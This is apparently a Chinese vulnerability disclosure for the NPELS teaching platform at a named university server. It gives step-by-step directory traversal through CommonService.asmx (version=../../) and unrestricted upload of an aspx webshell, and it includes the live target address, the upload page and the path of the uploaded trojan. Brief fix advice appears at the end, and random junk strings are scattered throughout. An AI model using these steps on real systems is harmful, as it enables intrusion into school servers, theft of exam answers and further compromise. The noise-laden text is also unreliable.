新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中

% L' |2 g5 Y5 Y. U详细说明：

2 K% u0 ?4 z) A3 t3 I$ B( L以南开大学的为例:
) P- U( o$ F# p( W+ B- u! Shttp://222.30.60.3/NPELS
+ c# E0 Y: V6 u, W: [NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
</setting>
% H: `1 U+ \* v6 F5 u及版本号
<add key="TVersion" value="1, 0, 0, 2187">
</add>
. q0 z+ @: x/ n3 k直接访问
8 O( ~9 y1 i$ V: e3 `$ G& `http://222.30.60.3/NPELS/CommonService.asmx
使用GetTestClientFileList操作，直接 HTTP GET 列目录：
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../
0 Q' D( C" p% {4 b9 O
' G3 ~# `* W( c( ^发现
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可
8 f1 x9 o, [4 J8 g: b6 W
2 U3 M; X  v4 ~OOXX
3 C+ d/ K! ~1 t+ x1 Z! Z
9 Z$ o: Y/ ?; f) JGoogle "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
漏洞证明：
5 i1 |' }' N8 c1 Y" q5 {
( Q# q. E5 K4 N! P% q# ^  q列目录：
http://222.30.60.3/NPELS/CommonS ... List?version=../../
文件上传：
http://222.30.60.3/npelsv/editor/editor.htm

7 n: c4 T0 o9 j+ W$ J; Q0 i8 G上传木马：
, \& h; [  I! }+ R& q, Ohttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
, [. G. J1 ^) \
修复方案：
好像考试系统必须使用 CommonService.asmx
. e7 C% q7 ?) s% u; Q1 T最好配置文件加密或者用别的方式不让它泄露出来
并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​
9 Y5 H: J$ n. O* m. P" W